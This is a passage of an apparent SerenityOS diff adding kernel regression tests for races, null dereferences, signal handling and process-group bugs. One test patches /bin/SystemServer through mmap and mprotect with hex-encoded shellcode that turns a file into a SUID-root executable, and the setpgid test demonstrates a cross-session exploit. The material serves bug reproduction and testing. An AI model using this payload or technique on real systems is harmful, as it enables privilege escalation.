|| is_unfuzzable_syscall(syscall_fn)
|
||||
|| is_bad_idea(syscall_fn, direct_sc_args, fake_sc_params, some_string)) {
|
||||
// Retry, and don't count towards syscall limit.
|
||||
--i;
|
||||
continue;
|
||||
}
|
||||
|
||||
do_weird_call(i, syscall_fn, direct_sc_args[0], direct_sc_args[1], direct_sc_args[2], fake_sc_params);
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
do_systematic_tests();
|
||||
|
||||
do_random_tests();
|
||||
|
||||
// If the Kernel survived, pass.
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
149
Tests/Kernel/kill-pidtid-confusion.cpp
Normal file
149
Tests/Kernel/kill-pidtid-confusion.cpp
Normal file
|
@ -0,0 +1,149 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <LibPthread/pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* If the main thread of a process is no longer alive, it cannot receive
|
||||
* signals anymore. This can manifest as, for example, an unkillable process.
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is process P
|
||||
* - It has more than one thread
|
||||
* - The main thread calls thread_exit(), leaving the rest of the threads alive
|
||||
* - Now the process is unkillable!
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
* - Time 1: PZ's main thread T1 creates a new thread T2
|
||||
* - Time 2: Nothing (T2 could communicate to PX both process and thread ID)
|
||||
* (most LibC functions crash currently, which is a different bug I suppose.)
|
||||
* - Time 3: T1 calls thread_exit()
|
||||
* - Time 4:
|
||||
* * PX tries to kill PZ (should work, but doesn't)
|
||||
* * PX tries to kill PZ using T2's thread ID (shouldn't work, and doesn't)
|
||||
* * PX outputs all results.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void(fn)())
|
||||
{
|
||||
const pid_t rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
return;
|
||||
}
|
||||
fn();
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void thread_into(void* (*fn)(void*))
|
||||
{
|
||||
pthread_t tid;
|
||||
const int rc = pthread_create(&tid, nullptr, fn, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("pthread_create");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
const int rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static bool try_kill(pid_t kill_id)
|
||||
{
|
||||
int rc = kill(kill_id, SIGTERM);
|
||||
perror("kill");
|
||||
printf("kill rc: %d\n", rc);
|
||||
return rc >= 0;
|
||||
}
|
||||
|
||||
static void run_pz();
|
||||
static void* run_pz_t2_wrap(void* fd_ptr);
|
||||
static void run_pz_t2();
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
dbgln("PX forks into PZ");
|
||||
fork_into(run_pz);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4:
|
||||
dbgln("Let's hope everything went fine!");
|
||||
pid_t guessed_pid = getpid() + 1;
|
||||
pid_t guessed_tid = guessed_pid + 1;
|
||||
printf("About to kill PID %d, TID %d.\n", guessed_pid, guessed_tid);
|
||||
if (try_kill(guessed_tid)) {
|
||||
printf("FAIL, could kill a thread\n");
|
||||
exit(1);
|
||||
}
|
||||
if (!try_kill(guessed_pid)) {
|
||||
printf("FAIL, could not kill the process\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void run_pz()
|
||||
{
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
dbgln("PZ calls pthread_create");
|
||||
thread_into(run_pz_t2_wrap);
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 3: T1 calls thread_exit()
|
||||
dbgln("PZ(T1) calls thread_exit");
|
||||
pthread_exit(nullptr);
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
static void* run_pz_t2_wrap(void*)
|
||||
{
|
||||
run_pz_t2();
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pz_t2()
|
||||
{
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: Nothing
|
||||
// FIXME: For some reason, both printf() and dbg() crash.
|
||||
// This also prevents us from using a pipe to communicate to PX both process and thread ID
|
||||
// dbgln("T2: I'm alive and well.");
|
||||
sleep_steps(18);
|
||||
|
||||
// Time 20: Cleanup
|
||||
printf("PZ(T2) dies from boredom.\n");
|
||||
exit(0);
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
const u8 payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
106
Tests/Kernel/munmap-multi-region-unmapping.cpp
Normal file
106
Tests/Kernel/munmap-multi-region-unmapping.cpp
Normal file
|
@ -0,0 +1,106 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
{
|
||||
printf("Testing full unnmap\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap(map1, 4 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
{
|
||||
printf("Testing partial unmapping\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap((void*)((FlatPtr)map1 + PAGE_SIZE), 2 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* map3 = mmap((void*)((FlatPtr)map1 + PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map3 == MAP_FAILED) {
|
||||
perror("remap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map4 = mmap(map2, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map4 == MAP_FAILED) {
|
||||
perror("remap 2");
|
||||
return 1;
|
||||
}
|
||||
((u32*)map3)[0] = 0x13371337;
|
||||
((u32*)map4)[0] = 0x1b1b1b1b;
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de
|
||||
|| ((u32*)map3)[0] != 0x13371337 || ((u32*)map4)[0] != 0x1b1b1b1b
|
||||
|| ((u32*)map1)[PAGE_SIZE / sizeof(int)] != ((u32*)map3)[0] || ((u32*)map2)[0] != ((u32*)map4)[0]) {
|
||||
perror("read at old map and write at remap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = munmap(map1, PAGE_SIZE * 4);
|
||||
if (res < 0) {
|
||||
perror("cleanup");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
135
Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
Normal file
135
Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
Normal file
|
@ -0,0 +1,135 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_printer(int)
|
||||
{
|
||||
// no-op
|
||||
}
|
||||
|
||||
typedef struct yank_shared_t {
|
||||
timespec* remaining_sleep;
|
||||
// TODO: Be nice and use thread ID
|
||||
//pthread_t sleeper_thread;
|
||||
} yank_shared_t;
|
||||
|
||||
static void* yanker_fn(void* shared_)
|
||||
{
|
||||
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
|
||||
|
||||
timespec requested_sleep = { 1, 0 };
|
||||
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
delete shared->remaining_sleep; // T2
|
||||
|
||||
// Send SIGUSR1.
|
||||
|
||||
// Use pthread:
|
||||
// pthread_kill(somewhere, SIGUSR1);
|
||||
// But wait! pthread_kill isn't implemented yet, and therefore causes
|
||||
// a linker error. It also looks like the corresponding syscall is missing.
|
||||
|
||||
// Use normal IPC syscall:
|
||||
// kill(getpid(), SIGUSR1);
|
||||
// But wait! If destination_pid == own_pid, then the signal is sent
|
||||
// to the calling thread, *no matter what*.
|
||||
|
||||
// So, we have to go the very ugly route of fork():
|
||||
// (Thank goodness this is only a demo of a kernel bug!)
|
||||
pid_t pid_to_kill = getpid();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid < 0) {
|
||||
printf("Yanker: Fork failed: %d\n", child_pid);
|
||||
pthread_exit(nullptr); // See below
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
if (child_pid > 0) {
|
||||
// Success. Terminate quickly. T3
|
||||
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
|
||||
// Workaround: Exit manually.
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Give parent *thread* a moment to die.
|
||||
requested_sleep = { 1, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Prod the parent *process*
|
||||
kill(pid_to_kill, SIGUSR1); // T4
|
||||
|
||||
// Wait a moment, to ensure the log output is as well-separated as possible.
|
||||
requested_sleep = { 2, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
pthread_exit(nullptr);
|
||||
assert(false);
|
||||
// FIXME: return nullptr;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Chronological order:
|
||||
// T0: Main thread allocates region for the outvalue of clock_nanosleep
|
||||
// T1: Main thread enters clock_nanosleep
|
||||
// T2: Side thread deallocates that region
|
||||
// T3: Side thread dies
|
||||
// T4: A different process sends SIGUSR1, waking up the main thread,
|
||||
// forcing the kernel to write to the deallocated Region.
|
||||
|
||||
// I'm sorry that both a side *thread* and a side *process* are necessary.
|
||||
// Maybe in the future this test can be simplified, see above.
|
||||
|
||||
yank_shared_t shared = { nullptr };
|
||||
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
|
||||
|
||||
pthread_t yanker_thread;
|
||||
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
|
||||
if (rc != 0) {
|
||||
perror("pthread");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set an action for SIGUSR1, so that the sleep can be interrupted:
|
||||
signal(SIGUSR1, signal_printer);
|
||||
|
||||
// T1: Go to sleep.
|
||||
const timespec requested_sleep = { 3, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
|
||||
// Now we are beyond T4.
|
||||
|
||||
if (rc == 0) {
|
||||
// We somehow weren't interrupted. Bad.
|
||||
printf("Not interrupted.\n");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// nanosleep was interrupted and the kernel didn't crash. Good!
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
42
Tests/Kernel/null-deref-close-during-select.cpp
Normal file
42
Tests/Kernel/null-deref-close-during-select.cpp
Normal file
|
@ -0,0 +1,42 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("ST: close()\n");
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(pipefds[1], &rfds);
|
||||
|
||||
printf("MT: select()\n");
|
||||
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("select");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
27
Tests/Kernel/null-deref-crash-during-pthread_join.cpp
Normal file
27
Tests/Kernel/null-deref-crash-during-pthread_join.cpp
Normal file
|
@ -0,0 +1,27 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
asm volatile("ud2");
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
pthread_join(tid, nullptr);
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
22
Tests/Kernel/path-resolution-race.cpp
Normal file
22
Tests/Kernel/path-resolution-race.cpp
Normal file
|
@ -0,0 +1,22 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!fork()) {
|
||||
for (;;) {
|
||||
mkdir("/tmp/x", 0666);
|
||||
rmdir("/tmp/x");
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
chdir("/tmp/x");
|
||||
}
|
||||
return 0;
|
||||
}
|
76
Tests/Kernel/pthread-cond-timedwait-example.cpp
Normal file
76
Tests/Kernel/pthread-cond-timedwait-example.cpp
Normal file
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
#include <ctime>
|
||||
#include <errno.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct worker_t {
|
||||
const char* name;
|
||||
int count;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
long int wait_time;
|
||||
};
|
||||
|
||||
static void* run_worker(void* args)
|
||||
{
|
||||
struct timespec time_to_wait = { 0, 0 };
|
||||
worker_t* worker = (worker_t*)args;
|
||||
worker->count = 0;
|
||||
|
||||
while (worker->count < 25) {
|
||||
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
|
||||
pthread_mutex_lock(&worker->lock);
|
||||
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
|
||||
|
||||
// Validate return code is always timed out.
|
||||
assert(rc == -1);
|
||||
assert(errno == ETIMEDOUT);
|
||||
|
||||
worker->count++;
|
||||
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
|
||||
pthread_mutex_unlock(&worker->lock);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void init_worker(worker_t* worker, const char* name, long int wait_time)
|
||||
{
|
||||
worker->name = name;
|
||||
worker->wait_time = wait_time;
|
||||
|
||||
pthread_attr_t attr;
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
|
||||
|
||||
pthread_mutex_init(&worker->lock, nullptr);
|
||||
pthread_cond_init(&worker->cond, nullptr);
|
||||
pthread_create(&worker->thread, &attr, &run_worker, (void*)worker);
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
worker_t worker_a;
|
||||
init_worker(&worker_a, "A", 2L);
|
||||
|
||||
worker_t worker_b;
|
||||
init_worker(&worker_b, "B", 4L);
|
||||
|
||||
pthread_join(worker_a.thread, nullptr);
|
||||
pthread_join(worker_b.thread, nullptr);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
276
Tests/Kernel/setpgid-across-sessions-without-leader.cpp
Normal file
276
Tests/Kernel/setpgid-across-sessions-without-leader.cpp
Normal file
|
@ -0,0 +1,276 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <fcntl.h>
|
||||
#include <serenity.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* A process can join a process group across sessions if both process groups
|
||||
* do not have a leader (anymore). This can be used to join a session
|
||||
* illegitimately. (Or, more harmlessly, to change the own PGID to an unused
|
||||
* but arbitrary one, for example the PGID 0xDEADBEEF or the one that's going
|
||||
* to be your program's session ID in the short-term future.)
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is session SA
|
||||
* - There is session SB
|
||||
* - There is a Process Group PGA in SA
|
||||
* - There is a Process Group PGB in SB
|
||||
* - PGA does not have a leader
|
||||
* - PGB does not have a leader
|
||||
* - There is a Process PA2 in PGA
|
||||
* - There is a Process PB2 in PGB
|
||||
* - PA2 calls setpgid(0, PGB)
|
||||
* - Now PA2 and PB2 are in the same processgroup, but not in the same session. WHAAAAT! :^)
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PA1
|
||||
* - Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
* - Time 2: PA1 forks into PA2
|
||||
* - Time 3: PA1 dies (PGA now has no leader)
|
||||
* Note: PA2 never dies. Too much hassle.
|
||||
* - Time 4: PX forks into PB1
|
||||
* - Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
* - Time 6: PB1 forks into PB2
|
||||
* - Time 7: PB1 dies (PGB now has no leader)
|
||||
* - Time 8: PB2 calls pgrp(0, PGA)
|
||||
* Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
* - Time 9: If PX hasn't received any message yet through the pipe, it declares the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void (*fn)(void*), void* arg)
|
||||
{
|
||||
const pid_t rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
const int disown_rc = disown(rc);
|
||||
if (disown_rc < 0) {
|
||||
perror("disown");
|
||||
dbgln("This might cause PA1 to remain in the Zombie state, "
|
||||
"and thus in the process list, meaning the leader is "
|
||||
"still 'alive' for the purpose of lookup.");
|
||||
}
|
||||
return;
|
||||
}
|
||||
fn(arg);
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
const int rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pa1(void*);
|
||||
static void run_pa2(void*);
|
||||
static void run_pb1(void*);
|
||||
static void run_pb2(void*);
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PA1
|
||||
int fds[2];
|
||||
// Serenity doesn't support O_NONBLOCK for pipes yet, so
|
||||
// sadly the test will hang if something goes wrong.
|
||||
if (pipe2(fds, 0) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
dbgln("PX starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PX forks into PA1");
|
||||
fork_into(run_pa1, nullptr);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4: PX forks into PB1
|
||||
dbgln("PX forks into PB1");
|
||||
fork_into(run_pb1, &(fds[1]));
|
||||
sleep_steps(5);
|
||||
|
||||
// Time 9: If PX hasn't received any message yet through the pipe, it declares
|
||||
// the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
dbgln("PX reads from pipe");
|
||||
unsigned char buf = 42;
|
||||
ssize_t rc = read(fds[0], &buf, 1);
|
||||
if (rc == 0) {
|
||||
// In fact, we only reach this branch when *all* processes have died,
|
||||
// including this one. So … should be unreachable.
|
||||
printf("DOUBLE FAIL: pipe is closed, but we still have it open.\n"
|
||||
"See debug log, some process probably crashed.\n");
|
||||
exit(1);
|
||||
}
|
||||
if (rc < 0) {
|
||||
if (errno == EAGAIN) {
|
||||
printf("FAIL: pipe has no data. See debug log, some process os probably hanging.\n");
|
||||
} else {
|
||||
perror("read (unknown)");
|
||||
}
|
||||
exit(1);
|
||||
}
|
||||
VERIFY(rc == 1);
|
||||
if (buf == 0) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
if (buf == 1) {
|
||||
printf("FAIL (exploit successful)\n");
|
||||
return 1;
|
||||
}
|
||||
printf("FAIL, for some reason %c\n", buf);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void run_pa1(void*)
|
||||
{
|
||||
// Time 0: PX forks into PA1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
dbgln("PA1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PA1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PA)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PA1 did setsid() -> PGA={}, SA={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA1 forks into PA2");
|
||||
fork_into(run_pa2, nullptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 3: PA1 dies (PGA now has no leader)
|
||||
dbgln("PA1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void run_pa2(void*)
|
||||
{
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
